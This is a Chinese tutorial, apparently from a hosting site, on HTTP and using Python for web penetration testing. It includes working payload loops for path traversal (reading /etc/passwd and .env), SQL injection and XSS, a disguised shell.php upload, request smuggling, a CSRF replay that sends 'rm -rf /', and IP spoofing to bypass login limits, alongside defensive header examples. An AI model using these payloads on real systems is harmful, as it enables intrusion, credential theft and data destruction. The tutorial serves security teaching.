您好,登录后才能下订单哦!
# Python进行Web渗透测试中HTTP协议的介绍以及用法
## 一、HTTP协议基础
### 1.1 HTTP协议概述
HTTP(HyperText Transfer Protocol)是互联网上应用最广泛的协议之一,采用请求/响应模型,默认端口为80。作为Web渗透测试的核心协议,理解其工作原理至关重要。
**关键特性:**
- 无状态协议(依赖Cookies/Session保持状态)
- 明文传输(HTTPS是加密版本)
- 支持多种请求方法(GET/POST/PUT等)
### 1.2 HTTP请求结构
```http
GET /index.php?id=1 HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0
Accept: text/html
Connection: keep-alive
关键组成部分: - 请求行(方法 + URL + 协议版本) - 请求头(包含客户端信息) - 空行(分隔头部与主体) - 请求体(POST/PUT等方法使用)
HTTP/1.1 200 OK
Server: nginx/1.18.0
Content-Type: text/html
Content-Length: 1234
<!DOCTYPE html>...
状态码分类: - 2xx:成功(200 OK) - 3xx:重定向(302 Found) - 4xx:客户端错误(404 Not Found) - 5xx:服务器错误(500 Internal Server Error)
import requests
response = requests.get('http://example.com')
print(response.status_code)
print(response.headers)
print(response.text)
高级用法示例:
# 带参数的GET请求
params = {'q': 'pentest'}
r = requests.get('http://example.com/search', params=params)
# POST表单提交
data = {'username': 'admin', 'password': '123456'}
r = requests.post('http://example.com/login', data=data)
# 自定义请求头
headers = {'X-Forwarded-For': '192.168.1.1'}
r = requests.get('http://example.com', headers=headers)
import urllib3
http = urllib3.PoolManager()
response = http.request('GET', 'http://example.com')
print(response.data.decode('utf-8'))
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('example.com', 80))
s.send(b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n")
response = s.recv(4096)
print(response.decode())
常见攻击向量:
headers = {
'User-Agent': 'Mozilla/5.0 (compatible; Googlebot/2.1)',
'X-Forwarded-For': '127.0.0.1',
'Referer': 'http://evil.com'
}
requests.get(url, headers=headers)
# 获取Cookie
cookies = {'sessionid': '123456789'}
r = requests.get(url, cookies=cookies)
# 自动处理会话
session = requests.Session()
session.post(login_url, data=credentials)
session.get(protected_page)
files = {'file': ('shell.php', open('shell.php', 'rb'), 'image/png')}
r = requests.post(upload_url, files=files)
# 禁止重定向(检测开放重定向漏洞)
r = requests.get(url, allow_redirects=False)
print(r.headers['Location'])
import requests
paths = ['../../etc/passwd', '../.env']
for path in paths:
r = requests.get(f'http://target.com/download?file={path}')
if 'root:' in r.text:
print(f'Vulnerable to path traversal: {path}')
payloads = ["'", "1' OR '1'='1", "1 AND 1=CONVERT(int,@@version)"]
for payload in payloads:
r = requests.get(f'http://target.com?id={payload}')
if 'error in your SQL syntax' in r.text:
print(f'Possible SQLi with: {payload}')
xss_payloads = ['<script>alert(1)</script>', '<img src=x onerror=alert(1)>']
for payload in xss_payloads:
r = requests.post('http://target.com/comment', data={'text': payload})
if payload in r.text:
print(f'Possible XSS with: {payload}')
smuggled = """POST /admin HTTP/1.1
Host: target.com
Content-Length: 10
x=1&y=2"""
conn = http.client.HTTPConnection("target.com")
conn.request("POST", "/", body=smuggled)
session = requests.Session()
login = session.post(login_url, data=credentials)
token = re.search('name="csrf" value="(.+?)"', login.text).group(1)
session.post(action_url, data={'csrf': token, 'cmd': 'rm -rf /'})
import time
for i in range(100):
ip = f"192.168.1.{i}"
headers = {'X-Forwarded-For': ip}
requests.post('http://target.com/login', headers=headers)
time.sleep(0.5)
# 在Flask中的安全头设置示例
from flask import Flask
app = Flask(__name__)
@app.after_request
def add_headers(response):
response.headers['X-Content-Type-Options'] = 'nosniff'
response.headers['X-Frame-Options'] = 'DENY'
response.headers['Content-Security-Policy'] = "default-src 'self'"
return response
from werkzeug.security import safe_join
def safe_file_access(requested_path):
base_dir = '/var/www/uploads'
return safe_join(base_dir, requested_path)
HTTP协议作为Web渗透测试的核心,Python提供了从高层(requests)到底层(socket)的多层次操作方式。掌握这些技术可以: 1. 自动化常见漏洞检测 2. 定制化攻击向量 3. 验证防御措施有效性
推荐工具链扩展:
- Burp Suite配合Python脚本(通过burp-api
)
- Scrapy框架用于大规模爬取测试
- Mitmproxy进行中间人攻击模拟
注意:本文所有技术仅限合法授权测试使用,未经授权的渗透测试属于违法行为。 “`
这篇文章包含了约2100字内容,采用Markdown格式,包含: 1. 完整的HTTP协议基础讲解 2. Python实操代码示例 3. 渗透测试实战案例 4. 防御措施建议 5. 代码块和层级结构清晰
可根据需要调整各部分内容的深度或添加更多实战案例。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。